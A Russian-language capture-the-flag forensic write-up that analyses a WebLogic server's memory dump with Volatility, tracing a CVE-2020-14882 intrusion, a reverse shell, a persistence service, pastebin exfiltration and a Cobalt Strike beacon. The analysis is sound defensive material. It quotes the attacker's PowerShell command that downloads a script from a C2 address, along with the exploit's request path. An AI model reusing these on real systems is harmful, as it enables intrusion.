Извлечение артефактов из дампа памяти сервера критически важно для расследования атаки. Экспертам форензики часто приходится работать с ограниченным объемом данных, например, только с образом памяти скомпрометированного сервера. Этот сценарий описывается в задаче BSidesJeddah-Part2 с ресурса CyberDefenders, который мы рассмотрим в этой статье.
Еще по теме: Команды для анализа вредоносного ПО в Volatility
Извлечение информации из дампа памяти сервера
Наша цель — найти причины взлома сервиса, работающего на Oracle WebLogic Server, и извлечь артефакты из образа оперативной памяти винды.
Для этого задания мы будем использовать следующие инструменты Volatility 2.6.1 и Volatility 3.
Что такое Volatility
Volatility — это популярный open source инструмент для анализа дампов оперативной памяти.
Возможности Volatility:
- Извлечение процессов, модулей, драйверов, открытых сетевых соединений и других данных из дампа памяти.
- Поиск скрытых и вредоносных процессов.
- Анализ запущенных dll, поиск инжекций и способов сокрытия вредоносных модулей.
- Восстановление скрытых данных из памяти процессов.
- Поиск артефактов для расследования инцидентов информационной безопасности.
- Построение временной шкалы (timelining) для выявления аномалий.
Volatility широко используется в форензике для анализа инцидентов и сбора доказательств. Он помогает эффективно исследовать состояние скомпрометированных систем.
Установка Volatility
Volatility поддерживает широкий спектр ОС — Windows, Linux, macOS, Android.
Анализ образа памяти
После установки скачайте архив с артефактами и извлеките файл memory.mem.
Для анализа и извлечения артефактов из дампа памяти, мы будем использовать фреймворк Volatility 2 и Volatility 3. Различие между версиями описано в документации. Достоинства третей версии в том, что она не использует профили ОС, а определяет их на лету используя таблицы символов Windows.
Но большинство плагинов разработано для второй версии (см. Популярные плагины Volatility 2 и Популярные плагины Volatility 3).
Для начала, надо получить профиль ОС для работы с Volatility 2.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem imageinfo |
Профиль операционной системы — Win2016x64_14393.
До анализа артефактов, надо определить с какой системой работаем. Для этого надо получить версию ОС, имя компа и сетевой адрес, для этого заюзаем плагин printkey.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "ControlSet001\Control\ComputerName\ComputerName" |
Название машины — WIN-8QOTRH7EMHC.
Затем, получим список интерфейсов сети с помощью следующей команды.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\Services\Tcpip\Parameters\Interfaces" |
У нас теперь есть список идентификаторов сетевых интерфейсов. Попробуем проверить каждый.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -o 0xffff808fe7e41000 -K "ControlSet001\Services\Tcpip\Parameters\Interfaces\{792f6020-c342-4520-922a-542fbfccc4b6}" |
Сетевой адрес машины — 192.168.144.131, IP-адрес получает DHCP-сервером 192.168.144.254.
Теперь найдем информацию о версии ОС.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "Microsoft\Windows NT\CurrentVersion" |
Версия ОС — Windows Server 2016 Standard Evaluation.
Определим время получения образа оперативной памяти. Для этого заюзаем плагин windows.info от Volatility 3.
1 |
python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.info |
Системное время — 2021-08-06 16:13:23.
Теперь попробуем восстановить действия пользователя в ОС. Посмотрим историю браузера Internet Explorer. Для этого заюзаем плагин iehistory.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 iehistory > c63-bsidesjeddah-mem/iehistory.txt |
Нам удалось выяснить, что 6 августа 2021 года пользователь Administrator посетил страницу news.google.com.
Теперь приступим к поиску вредоносной активности. Для этого нам необходимо проанализировать процессы, сетевой трафик, команды запуска исполняемых файлов, а также исследовать строки процессов.
Для начала получим список запущенных в системе процессов, а также сетевую активность и сохраним результат работы плагинов в файлы pstree.txt и netscan.txt соответственно.
1 2 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 pstree > c63-bsidesjeddah-mem/pstree.txt python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 netscan > c63-bsidesjeddah-mem/netscan.txt |
В списке процессов можно заметить программу RamCapture.exe компании Belkasoft.
В файле netscan.txt отмечено двенадцать стабильных сетевых соединений, об этом нам говорит колонка State, демонстрирующая работу плагина netscan с установленным значением ESTABLISHED.
Проанализируем дерево процессов и найдем среди них аномальные. Необходимо обращать внимание на процессы, которые запускают дочерний процесс с именами cmd.exe, powershell.exe, conhost.exe, а также на исполняемые файлы с нестандартным расположением.
Процессом java.exe (идентификатор 4752) запущено множество дочерних powershell.exe, что может свидетельствовать о подозрительной активности. Также у процесса powershell.exe (идентификатор 4344) запущены дочерние процессы conhost.exe (идентификатор 4636) и svchost.exe (идентификатор 1488).
Получим дамп данных процессов и проанализируем их строки.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4752 -D c63-bsidesjeddah-mem/ |
Мы сохранили дамп в файл 4752.dmp.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4344 -D c63-bsidesjeddah-mem/ |
Результат работы сохранен в файле 4344.dmp.
Теперь с помощью утилиты strings вытащим все строки и сохраним их в файл.
1 2 |
strings 4752.dmp > str_4752.txt strings 4344.dmp > str_4344.txt |
Прежде чем анализировать строки, получим аргументы командной строки для запуска процессов. Для этого воспользуемся плагином cmdline и найдем в нем процесс java.exe (идентификатор 4752).
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 cmdline > c63-bsidesjeddah-mem/cmdline.txt |
Процесс cmd.exe (идентификатор 4556), который является родителем процесса java.exe (4752), запускает сервер WebLogic. Значит, процесс java.exe — результат работы веб‑сервера.
Выясним версию WebLogic, для этого получим список файлов в системе.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 filescan > c63-bsidesjeddah-mem/filescan.txt |
Анализируя список файлов, мы обнаруживаем файл лога веб‑сервера WebLogic — AdminServer.log.
Восстановим его и проанализируем: виртуальный адрес файла в образе памяти — 0xb68cb2c205c0. Восстановить этот файл с использованием утилиты Volatility 2 мне не удалось, попробуем это сделать с помощью Volatility 3.
1 |
python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles --virtaddr 0xb68cb2c205c0 |
В восстановленном файле указана версия WebLogic Server — 14.1.1.0.0.
Слушатель WebLogic Server работает на порте 7001, но запросы к веб‑серверу идут на 80-й порт.
Найдем перенаправление порта в ключе реестра PortProxy, для этого воспользуемся плагином printkey.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 printkey -K "ControlSet001\Services\PortProxy\v4tov4\tcp" |
В системе установлено перенаправление порта 80:7001.
Мы выяснили версию веб‑сервера: она уязвима и позволяет выполнять удаленный код в системе. В файле лога AdminServer.log видны результаты выполнения функции com.tangosol.coherence.mvel2.sh.ShellSession, а также запрос к /console/%2E%2E%2Fconsole.portal?_nfpb=true&_pageLabel=UnexpectedExceptionPage.
Теперь найдем процесс, через который злоумышленник получил первоначальный доступ. У нас есть дамп процесса 4752, мы нашли его строки, теперь отыщем в нем GET-запрос с параметром:
1 |
handle=com.tangosol.coherence.mvel2.sh.ShellSession |
Итак, искомый процесс — это java.exe, идентификатор 4752. Именно он был ответственен за первоначальный доступ к системе. Злоумышленник проэксплуатировал уязвимость CVE-2020-14882 в сервере WebLogic версии 14.1.1.0.0, позволяющую выполнять удаленный код в системе.
Как видно из иллюстрации выше, хакер запустил обратную оболочку с управляющим сервером 192.168.144.129:1339.
Анализируя работу плагина netscan, можно увидеть запущенный процесс powershell.exe (идентификатор 4344), который взаимодействует с 192.168.144.129:1339.
Воспользуемся плагином pslist и найдем следующий процесс в списке ActiveProcessLinks, его идентификатор 4772.
Как видно из иллюстрации, процесс java.exe имеет 44 потока. Продолжим анализировать строки процесса java.exe.
В результате анализа строк можно увидеть загрузку файлов presist.ps1 и pastebin.ps1.
Попробуем восстановить команды для загрузки этих файлов. Так как команды выполняются с использованием PowerShell, получим дамп всех процессов powershell.exe, запущенных от имени java.exe (идентификатор 4752).
Для этого воспользуемся плагином memdump. Восстановим команду для загрузки сценариев PowerShell.
1 |
strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u |
Команда для загрузки сценария presist.ps1 выглядит следующим образом:
1 |
Invoke-WebRequest -Uri "http://192.168.144.129:1338/presist.ps1" -OutFile "./presist.ps1" |
Загрузка файла pastebin.ps1 выполнялась при помощи команды:
1 |
strings -e l ./out_powershell/* | grep -i 'presist.ps1' | sort -u |
Найдем код pastebin.ps1 и проанализируем его. Для этого будем искать этот код в строках дампа наших процессов. При исследовании результатов вывода плагина cmdline мы заметили, что процесс notepad.exe (идентификатор 4596) открыл файл exfiltrator.txt.
Получим дамп процесса 4596 и проанализируем строки.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 4596 -D c63-bsidesjeddah-mem/ |
Этот скрипт предназначен для выгрузки текстовых файлов на ресурс pastebin.com, но ему в качестве параметра необходимо указать ссылку. Поиск ссылки на выгрузку файлов в строках дампа процесса notepad.exe не дал результатов.
В строках вредоносного процесса 4344 удалось обнаружить ссылку https://pastebin.com/A0Ljk8tu для выгрузки файлов. Значит, скрипт pastebin.ps1 запускался от имени данного процесса.
Найдем методы закрепления злоумышленника в системе. Для этого воспользуемся плагином autoruns или проанализируем строки процесса 4344.
Злоумышленник создал службу ServiceUpdate, которая запускает обратную оболочку с управляющим сервером 192.168.144.129, порт 1339. Согласно матрице MITRE ATT&CK, идентификатор этой техники — T1053.005.
Продолжаем анализировать вредоносные процессы. Получим дамп процесса svchost.exe (идентификатор 1488), найдем виртуальный адрес расположения этого файла в системе и с помощью плагина windows.dumpfiles утилиты Volatility 3 выгрузим файл.
Виртуальный адрес файла в образе памяти — 0xb68cb2b8a080. Восстановим его.
1 |
python3 vol.py -f c63-bsidesjeddah-mem/memory.mem windows.dumpfiles --virtaddr 0xb68cb2b8a080 |
После восстановления получим MD5-сумму файла 2c5ae1d11a02d19ab65f5fc06a33d603 и проверим ее на VirusTotal. Согласно отчету антивирусных компаний, перед нами полезная нагрузка фреймворка Cobalt Strike. Получим дамп процесса и попробуем вытащить конфигурацию C2.
1 |
python2.7 vol.py -f c63-bsidesjeddah-mem/memory.mem --profile=Win2016x64_14393 memdump -p 1488 -D c63-bsidesjeddah-mem/ |
Загрузим утилиту CobaltStrikeParser и найдем в памяти процесса конфигурацию маяка.
1 |
python3 parse_beacon_config.py ../pid.1488.dmp --version 4 |
Мы узнали тип маяка (HTTP), адрес управляющего сервера (192.168.144.129), порт (1339), а также публичный ключ. Получим MD5-сумму ключа.
1 |
echo MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCknNpTPXGlTqpVXN9GP8xG/Otf4yDG2QQCJFReupN16br/aMd+0RTSqOmKCjMHdR6fm133/abvH1KVRge7oNowjO0RvdKVZTnNZqPnOkruOd7pDvjcJ13huwnsGA6rqW3jwNNb1hDix6K4H+DGYx/RQTxDc/nhj59Ae/5Tz9iC/QIDAQAB" | base64 -d | md5sum |
MD5-сумма публичного ключа — fc627cf00878e4d4f7997cb26a80e6fc.
Заключение
Мы провели расследование инцидента и восстановили картину взлома ресурса: 6 августа 2021 года злоумышленник проэксплуатировал уязвимость CVE-2020-14882 в Oracle WebLogic Server, которая позволяет не прошедшим авторизацию пользователям выполнять удаленный код в системе.
Таким образом атакующий загрузил обратную оболочку с управляющим сервером 192.168.144.129, порт 1339. Далее он закрепился в системе, создав службу ServiceUpdate. Для этого злоумышленник загрузил PowerShell-сценарий presist.ps1. Данный сценарий создает службу ServiceUpdate, которая запускает обратную оболочку.
Для эксфильтрации данных злоумышленник загрузил сценарий pastebin.ps1, который отправляет собранные файлы на удаленный сервер. Затем атакующий загрузил маяк Cobalt Strike для постэксплуатации в системе.
В ходе нашего расследования мы научились извлекать конфигурацию маяка из памяти, а также искать важные артефакты в памяти процессов.
ПОЛЕЗНЫЕ ССЫЛКИ:
- Как изменить формат дампа памяти
- Форензик кейс взлома серверов под управлением Linux
- Использование Volatility для анализа оперативной памяти
- Дамп оперативной памяти с помощью FTK Imager Windows